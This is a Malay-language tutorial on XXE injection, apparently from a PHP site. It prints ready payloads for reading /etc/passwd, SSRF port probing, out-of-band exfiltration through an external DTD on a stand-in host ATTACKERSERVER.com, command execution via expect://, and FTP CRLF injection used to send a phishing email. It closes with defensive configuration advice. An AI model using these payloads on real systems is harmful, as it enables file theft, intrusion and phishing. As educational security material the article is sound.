Rumah >Operasi dan penyelenggaraan >Keselamatan >Apakah pendekatan daripada XML kepada pelaksanaan kod jauh
Ringkasnya, XXE ialah suntikan entiti luaran XML. Apabila entiti luaran dibenarkan untuk dirujuk, dengan membina kandungan berniat jahat, ia boleh menyebabkan kemudaratan seperti pembacaan fail sewenang-wenangnya, pelaksanaan perintah sistem, pengesanan port intranet dan serangan pada tapak web intranet.
Sebagai contoh, jika program yang anda sedang gunakan ialah PHP, anda boleh menetapkan libxml_disable_entity_loader kepada TRUE untuk melumpuhkan entiti luaran untuk tujuan pertahanan.
Biasanya penyerang akan menyuntik muatan ke dalam fail XML Setelah fail dilaksanakan, fail tempatan pada pelayan akan dibaca dan intranet akan Mulakan imbasan akses port rangkaian dalaman. Dalam erti kata lain, XXE ialah satu cara untuk mencapai pelbagai perkhidmatan secara tempatan. Selain itu, ini juga boleh membantu penyerang memintas penapisan peraturan firewall atau semakan pengesahan ke tahap tertentu.
Berikut ialah contoh permintaan POST ringkas dengan kod XML:
POST /vulnerable HTTP/1.1 Host: www.test.com User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://test.com/test.html Content-Type: application/xml Content-Length: 294 Cookie: mycookie=cookies; Connection: close Upgrade-Insecure-Requests: 1 <?xml version="1.0"?> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>XML is the best!</description> </core> </catalog>
Kod di atas kemudiannya akan dihuraikan oleh pemproses XML pelayan. Kod ditafsir dan dikembalikan: {"Request Successful": "Added!"}
Sekarang, apakah yang berlaku apabila penyerang cuba menyalahgunakan penghuraian kod XML? Mari edit kod dan masukkan muatan berniat jahat kami:
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Kod ditafsirkan dan dikembalikan:
{"error": "no results for description root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh sys:x:3:3:sys:/dev:/bin/sh sync:x:4:65534:sync:/bin:/bin/sync...
seperti yang ditunjukkan dalam contoh di atas , pelayan mengembalikan kandungan fail /etc/passwd kepada XXE kami sebagai respons. Tetapi dalam beberapa kes, walaupun XXE mungkin terdapat pada pelayan, tiada respons akan dikembalikan kepada penyemak imbas atau proksi penyerang. Dalam kes ini, kita boleh menggunakan kelemahan Blind XXE untuk membina saluran luar jalur (OOB) untuk membaca data. Walaupun kami tidak dapat melihat kandungan fail secara langsung, kami masih boleh menggunakan pelayan yang terdedah sebagai proksi untuk melakukan imbasan serta kod pada rangkaian luaran.
Dalam contoh pertama, kami menunjukkan permintaan ke fail /etc/passwd melalui URI, dan akhirnya berjaya mengembalikannya kepada kami kandungan fail. Di samping itu, kami juga boleh menukar XXE kepada SSRF (Pemalsuan Permintaan Sisi Pelayan) dengan menggunakan URI http dan memaksa pelayan menghantar permintaan GET ke titik akhir dan port yang kami tentukan.
Kod berikut akan cuba berkomunikasi dengan port 8080. Berdasarkan masa/panjang respons, penyerang akan dapat menentukan sama ada port telah dibuka.
<?xml version="1.0"?> <!DOCTYPE GVI [<!ENTITY xxe SYSTEM "http://127.0.0.1:8080" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Fail Definisi Jenis Dokumen Luaran (DTD) boleh digunakan untuk mencetuskan OOB XXE. Penyerang mengehos fail .dtd pada VPS, membenarkan pelayan terdedah jauh untuk mendapatkan fail dan melaksanakan perintah berniat jahat di dalamnya.
Permintaan berikut akan dihantar kepada aplikasi untuk menunjukkan dan menguji kaedah:
<?xml version="1.0"?> <!DOCTYPE data SYSTEM "http://ATTACKERSERVER.com/xxe_file.dtd"> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Kod di atas, setelah diproses oleh pelayan yang terdedah, akan menghantar permintaan ke pelayan jauh kami, carian Fail DTD yang mengandungi muatan kami:
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!ENTITY % all "<!ENTITY xxe SYSTEM 'http://ATTACKESERVER.com/?%file;'>"> %all;
Mari luangkan masa untuk memahami aliran pelaksanaan permintaan di atas. Hasilnya ialah dua permintaan dihantar ke pelayan kami, permintaan kedua ialah kandungan fail /etc/passwd.
Dalam log VPS kami, kami dapat melihat permintaan kedua dengan kandungan fail, yang mengesahkan kewujudan kerentanan OOB XXE:
http://ATTACKERSERVER.com/?daemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fbin%2Fsh%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fbin%2Fsh
Ini jarang berlaku, tetapi terdapat kes di mana penyerang dapat melaksanakan kod melalui XXE, kebanyakannya disebabkan oleh konfigurasi/pembangunan aplikasi dalaman yang tidak betul. Jika kita bernasib baik dan modul jangka PHP dimuatkan pada sistem yang terdedah atau aplikasi dalaman yang mengendalikan XML, maka kita boleh melaksanakan arahan berikut:
<?xml version="1.0"?> <!DOCTYPE GVI [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "expect://id" >]> <catalog> <core id="test101"> <author>John, Doe</author> <title>I love XML</title> <category>Computers</category> <price>9.99</price> <date>2018-10-01</date> <description>&xxe;</description> </core> </catalog>
Respons:
{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...
Kami menemui titik akhir yang terdedah menggunakan penghurai XML Java. Selepas mengimbas port dalaman, kami mendapati perkhidmatan SMTP mendengar pada port 25 dengan sokongan Java untuk URI ftp dalam sun.net.ftp.impl.FtpClient. Oleh itu, kami boleh menentukan nama pengguna dan kata laluan, seperti ftp://user:password@host:port/test.txt, dan klien FTP akan menghantar arahan USER yang sepadan dalam sambungan.
Tetapi jika kami menambah %0D%0A (CRLF) di mana-mana dalam bahagian pengguna URL, kami boleh menamatkan arahan USER dan menyuntik arahan baharu ke dalam sesi FTP, yang membolehkan kami mengalihkan 25 Hantar sewenang-wenangnya Perintah SMTP:
ftp://a%0D%0A EHLO%20a%0D%0A MAIL%20FROM%3A%3Csupport%40VULNERABLESYSTEM.com%3E%0D%0A RCPT%20TO%3A%3Cvictim%40gmail.com%3E%0D%0A DATA%0D%0A From%3A%20support%40VULNERABLESYSTEM.com%0A To%3A%20victim%40gmail.com%0A Subject%3A%20test%0A %0A test!%0A %0D%0A .%0D%0A QUIT%0D%0A :a@VULNERABLESYSTEM.com:25
Apabila klien FTP menyambung menggunakan URL ini, arahan berikut akan dihantar ke pelayan mel di VULNERABLESYSTEM.com:
ftp://a EHLO a MAIL FROM: <support@VULNERABLESYSTEM.com> RCPT TO: <victim@gmail.com> DATA From: support@VULNERABLESYSTEM.com To: victim@gmail.com Subject: Reset your password We need to confirm your identity. Confirm your password here: http://PHISHING_URL.com . QUIT :support@VULNERABLESYSTEM.com:25
Ini bermakna penyerang e-mel Phishing boleh dihantar daripada sumber yang dipercayai (contohnya: pautan tetapan semula akaun) dan pintasan pengesanan oleh penapis spam. Selain pautan, kami juga boleh menghantar lampiran.
Keupayaan untuk mengedit permintaan web secara manual adalah penting untuk serangan XXE Di sini saya mengesyorkan semua orang menggunakan BurpSuite. Fungsi pengimbasan BurpSuite boleh mengesan potensi kelemahan XXE untuk kami, dan kedua, fungsi Penceroboh burp sangat sesuai untuk pengesanan port. Tetapi kami harus mengingatkan anda bahawa alat hanyalah pembantu kami, dan dalam beberapa kes ujian manual mungkin lebih baik!
Alat analisis permintaan HTTP seperti RequestBin dan HookBin sangat sesuai untuk ujian OOB XXE. Selain itu, Kolaborator BurpSuite Pro juga merupakan pilihan yang baik, tetapi sesetengah penyelidik keselamatan lebih suka menggunakan VPS mereka sendiri.
Masalah utama yang dibincangkan di atas ialah penghurai XML menghuraikan data yang tidak dipercayai yang dihantar oleh pengguna. Walau bagaimanapun, tidak mudah atau mustahil untuk mengesahkan data yang ditakrifkan oleh pengecam SISTEM dalam DTD (definisi jenis dokumen). Kebanyakan penghurai XML terdedah kepada serangan XXE secara lalai. Oleh itu, penyelesaian terbaik adalah untuk mengkonfigurasi pemproses XML untuk menggunakan DTD statik tempatan dan tidak membenarkan XML mengandungi sebarang DTD yang diisytiharkan sendiri.
Atas ialah kandungan terperinci Apakah pendekatan daripada XML kepada pelaksanaan kod jauh. Untuk maklumat lanjut, sila ikut artikel berkaitan lain di laman web China PHP!